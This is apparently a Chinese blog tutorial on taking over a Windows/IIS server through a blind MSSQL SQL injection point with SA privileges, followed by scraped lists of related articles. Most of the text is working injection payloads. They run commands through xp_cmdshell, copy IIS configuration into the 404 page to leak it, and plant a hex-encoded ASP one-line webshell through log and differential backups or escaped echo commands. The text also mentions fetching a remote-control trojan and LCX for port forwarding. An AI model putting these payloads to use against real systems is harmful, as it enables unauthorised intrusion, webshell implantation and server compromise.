一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路:

首先:

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。

1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载******远控******。

5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载************。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了,

我直接演示后面一个方法

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

◆日志备份:

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

◆数据库差异备份

(1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

(2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话****** %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

用^转义字符来写ASP(一句话木马)文件的方法:

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

参考文章:drops.wooyun.org/tips/401

MSSQL Sa账户弱口令利用总结 
https://maoxian.de/2011/12/mssql-sa%E8%B4%A6%E6%88%B7%E5%BC%B1%E5%8F%A3%E4%BB%A4%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/50.html

MSSQL注入SA权限不显错模式下的 入 侵的更多相关文章

  1. Mssql显错和不显错模式下的注入

    Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. mssql注入指令

    and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...

  4. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  5. MSSQL注入常用SQL语句整理

    很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...

  6. 收集的MSSQL注入笔记

    ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...

  7. MSSQL注入--反弹注入

    明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入, 反弹注入需要依赖于函数opendatasource的支持, ...

  8. 大哥带的MSsql注入(SQL Server)--预习

    ①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) f ...

  9. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

随机推荐

  1. jquery 的ajax

    一,$.get(url,[data],[callback]) 说明:url为请求地址,data为请求数据的列表(是可选的,也可以将要传的参数写在url里面),callback为请求成功后的回调函数,该 ...

  2. JSP、JSTL、EF学习笔记

    JSP 1)Java Server Page,在html中嵌入java代码 2)九个内置(隐式)对象 request response out page pageContext config sess ...

  3. Hibernate的之间生成策略

    1.assigned 主键由外部程序负责生成,在save()之前必须指定一个.hibernate不负责维护主键生成.与hibernate和底层数据库都无关.在存储对象前,必须使用主键的setter方法 ...

  4. artTemplate 动态加载模版

    问题 之前项目中一直有用到artDialog对话框组件,作者后期又发布了js模版引擎,使用过几次,效果感觉还挺好.当自己想把模版放在html之外时,遇到了一点问题. 作者介绍的方式,是在js文件中,通 ...

  5. MFC数据类型转换 _itoa atoi、atof、itoa、itow _itoa_s

    _itoa 功能:把一整数转换为字符串 用法:char * _itoa(int value, char *string, int radix); 详细解释: _itoa是英文integer to ar ...

  6. trickle charging current is 0A ?

    Recently, I test trickle charging current of the smart phone. It's 0A. ?????????????????????? yes, i ...

  7. python 查询数据

    查找课程不及格学生最多的前5名老师的id 表:student 字段名 类型 是否为空 主键 描述 StdID int 否 是 学生ID StdName varchar(100) 否 学生姓名 Gend ...

  8. 我使用的Sublime插件及配置

    我使用的Sublime插件及配置 增强型插件 Package Control 快捷键ctrl+~,调出命令行,运行: import urllib.request,os,hashlib; h = '29 ...

  9. Selenium2+python自动化5-操作浏览器基本方法【转载】

    前言前面已经把环境搭建好了,这从这篇开始,正式学习selenium的webdriver框架.我们平常说的 selenium自动化,其实它并不是类似于QTP之类的有GUI界面的可视化工具,我们要学的是w ...

  10. windows下phpstorm的常用快捷键及使用技巧

    1.pubf+回车  声明一个方法 2./ ** 回车   生成注释 3.Ctrl +g  跳转行 4.Ctrl + Alt + L 代码格式化 5.Ctrl +D 复制当前行到下一行 6.Ctrl  ...